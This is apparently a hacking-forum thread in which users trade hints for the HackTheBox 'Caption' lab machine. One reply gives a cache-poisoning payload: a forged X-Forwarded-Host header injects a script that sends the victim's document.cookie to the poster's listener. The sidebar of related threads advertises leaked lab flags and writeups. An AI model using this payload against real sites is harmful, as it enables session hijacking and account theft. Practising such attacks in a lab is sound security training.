HTB Caption - Linux - Hard
by mhsoraa - Saturday September 14, 2024 at 06:31 PM
(11-29-2024, 05:34 PM)cutearmadillo Wrote: You use cache poisoning to insert malicious javascript into the page

I feel like such a newb.
Can anyone give me a hint or show how this looks in Burp?
Reply
(01-12-2025, 02:57 AM)BlackBeer Wrote:
(11-29-2024, 05:34 PM)cutearmadillo Wrote: You use cache poisoning to insert malicious javascript into the page

I feel like such a newb.
Can anyone give me a hint or show how this looks in Burp?

I'm not sure if i can atm, cause im at work and using a VM. but I sent the request when i first traversed to the /Firewalls page to repeater in burp and set up a listener: python3 -m  http.server {listenerport} then sent
```
X-Forwarded-Host: 127.0.0.1"> </script> <script src="http://LOCALIP:LPORT/exploit.js"></script> <!--
```
with the script containing
```
X-Forwarded-Host: 127.0.0.1"> </script> <script>new Image().src="http://LOCALIP:LPORT/?c="+encodeURI(document.cookie);</script><!--
```

Then waited for my listener to catch the admin's cookie via the .js script that had been placed in the webcache

Hope this helps, ping me later if it doesnt and i'll see if i can do any more
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 365 113,318 Yesterday, 07:30 PM
Last Post: N1GHTC0D3
  HTB Eloquia User and Root Flags - Insane Box 69646B 14 17,588 08-21-2026, 07:27 PM
Last Post: tangol
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 94 26,203 08-21-2026, 06:20 AM
Last Post: jamoski
  [FREE] HTB-ProLabs APTLABS Just Flags kewlsunny 25 19,479 08-15-2026, 06:06 PM
Last Post: m4573rx
  HTB - ALL Challenges you Stuck in osamy7593 3 17,634 08-15-2026, 01:58 AM
Last Post: 0xIDA



 Users browsing this thread: 1 Guest(s)